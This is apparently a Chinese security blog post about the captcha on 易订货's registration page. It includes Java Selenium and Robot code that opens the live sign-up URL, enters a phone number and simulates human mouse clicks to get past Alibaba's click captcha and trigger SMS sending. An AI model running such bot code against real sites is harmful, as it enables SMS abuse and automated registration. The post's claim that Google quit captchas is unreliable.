前言
由于网站注册入口容易被机器执行自动化程序攻击，存在如下风险：
- 暴力破解密码，造成用户信息泄露，不符合国家等级保护的要求。
- 短信盗刷带来的拒绝服务风险 ，造成用户无法登陆、注册，大量收到垃圾短信的用户投诉导致短信通道被关停。
- 带来经济损失，尤其是后付费客户，需要承担被盗刷造成的大额短信费 ，造成亏损无底洞。
所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案， 但在机器学习能力提高的当下，连百度这样的大厂都遭受攻击导致点名批评， 图形验证及交互验证方式的安全性到底如何？ 请看具体分析
一、 AI智能的发展给行为验证带来威胁
验证码本质上自带一层答案的语义，这原本是天然的区分人和自动程序的地方，但在今日却未必，由于AI智能及CHATGPT等大模型的发展，机器要识别也变得更加容易。
1、 目标识别框架
黑产破解者为了降低攻击成本、提高破解效率，通常会利用收集的大量验证码图片样本，打码标注、构建模型网络、训练模型、测试模型，从而得到一个可持续识别图片答案的识别。目前，黑产针对验证码图片的破解最常用的主要是分类模型和相似模型。
2、 批量下载存储验证图片，共需要大数万张图片。
3、 黑产训练出一个高准确度的识别模型后，后续破解验证码时，通过识别模型就能直接获取答案坐标。
4、 借力大模型进行升级
俗话说：道高一尺，魔高一丈，在chatgpt大模型发展的今天，行为验证的方式无论怎么变花样，被破解只是时间而已，被伤害的反而是真实用户。
二、 易订货PC 注册入口
深圳市铱云云计算有限公司（以下简称铱云）成立于2013年，是新商业软件时代极具影响力的数字供应链解决方案服务商。聚焦商品流通领域的企业数字化服务，为工贸、商贸和连锁业态企业的品牌商和渠道商，提供涵括全渠道一体化的数字供应链服务。是企业移动订货商城（易订货）的创立者，也是数字供应链的掌舵手。
1. 注册引导页
2. 会员注页面
三、 安全性分析报告：
该网站采用的是阿里的滑动条， 阿里的滑动条设计高度重视用户体验，但安全方面存在一定的设计缺陷，前端将密钥显示出来，造成一定程度的安全漏洞,上报后并未引起重视，漏洞依据存在。
四、 测试方法：
前端界面分析，这是阿里的滑动条改进版本，形式换成点击的形式，网上有一些的教学视频，但形式都差不多，
阿里的滑动条有点像程咬金的三板斧，
1 检测是否是 webdriver （有专门的文章怎么过检）
2 点击事件检测
- 模拟器交互部分
private final String INDEX_URL = "https://accounts.77ircloud.com/pages/register";
@Override
public RetEntity send(WebDriver driver, String areaCode, String phone) {
RetEntity retEntity = new RetEntity();
try {
driver.get(INDEX_URL);
driver.manage().window().maximize(); // 设置浏览器窗口最大化
Thread.sleep(1 * 1000);
// 输入手机号
WebElement phoneElement = driver.findElement(By.id("mobile"));
phoneElement.sendKeys(phone);
// 点击
// driver.findElement(By.className("sm-ico-wave")).click();
int beginX = 1037;
int beginY = 509;
RobotMove.click(beginX, beginY);
WebElement gtElement = ChromeDriverManager.waitElement(driver, By.className("ant-message"), 10);
String gtInfo = (gtElement != null) ? gtElement.getText() : null;
if (gtInfo != null && gtInfo.contains("超过限制次数")) {
retEntity.setMsg(gtInfo);
return retEntity;
}
return null;
} catch (Exception e) {
System.out.println("phone=" + phone + ",e=" + e.toString());
for (StackTraceElement ele : e.getStackTrace()) {
System.out.println(ele.toString());
}
return null;
} finally {
driver.manage().deleteAllCookies();
}
}
2. 模拟点击
/**
* 物理鼠标点击
*
* @param beginX
* @param beginY
*/
public static void click(int beginX, int beginY) {
Robot robot = null;
Double curX = null, curY = null;
try {
// 从当前位置移动到滑动条位置
robot = new Robot();
Point location = MouseInfo.getPointerInfo().getLocation();
curX = location.getX();
curY = location.getY();
Double xAdd = beginX - curX;
Double yAdd = beginY - curY;
Double p = (xAdd.compareTo(yAdd) >= 0) ? Math.abs(yAdd) : Math.abs(xAdd);
Double moveX = curX;
Double moveY = curY;
Random random = new Random();
for (int k = 0; k < p.intValue(); k++) {
moveX += xAdd / p;
moveY += yAdd / p;
robot.mouseMove(moveX.intValue(), moveY.intValue());
robot.delay(random.nextInt(3));// 0-3
}
Thread.sleep(random.nextInt(5));
robot.mouseMove(beginX, beginY);
robot.delay(random.nextInt(3));// 0-3
robot.mousePress(InputEvent.BUTTON1_MASK); // 按下左键
} catch (Throwable e) {
System.out.print("RobotMove() " + e.toString());
} finally {
if (robot != null) {
robot.mouseRelease(InputEvent.BUTTON1_MASK); // 松开左键
robot.mouseMove(curX.intValue(), curY.intValue());
}
}
}
五丶结语
易订货作为聚焦商品流通领域的企业数字化服务，为工贸、商贸和连锁业态企业的品牌商和渠道商，提供涵括全渠道一体化的数字供应链服务。技术实力雄厚， 人才济济，但在验证产品方面，不是自己研发而是采用第三方的阿里的滑动条， 阿里的产品由于过度重视用户体验， 简单的滑动条特别，模拟器只需要单轴的模拟轨道就可以通过， 说明阿里对轨迹的校验比较宽松，之前的分析显示，阿里主要是靠模拟器识别，如果这道关过了，就没有其它的防护措施了 。
很多人在短信服务刚开始建设的阶段，可能不会在安全方面考虑太多，理由有很多。
比如：“ 需求这么赶，当然是先实现功能啊 ”，“ 业务量很小啦，系统就这么点人用，不怕的 ” ， “ 我们怎么会被盯上呢，不可能的 ”等等。有一些理由虽然有道理，但是该来的总是会来的。前期欠下来的债，总是要还的。越早还，问题就越小，损失就越低。
所以大家在安全方面还是要重视。（血淋淋的栗子！）#安全短信#
戳这里→康康你手机号在过多少网站注册过！！！
谷歌图形验证码在AI 面前已经形同虚设，所以谷歌宣布退出验证码服务， 那么当所有的图形验证码都被破解时，大家又该如何做好防御呢？
>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》
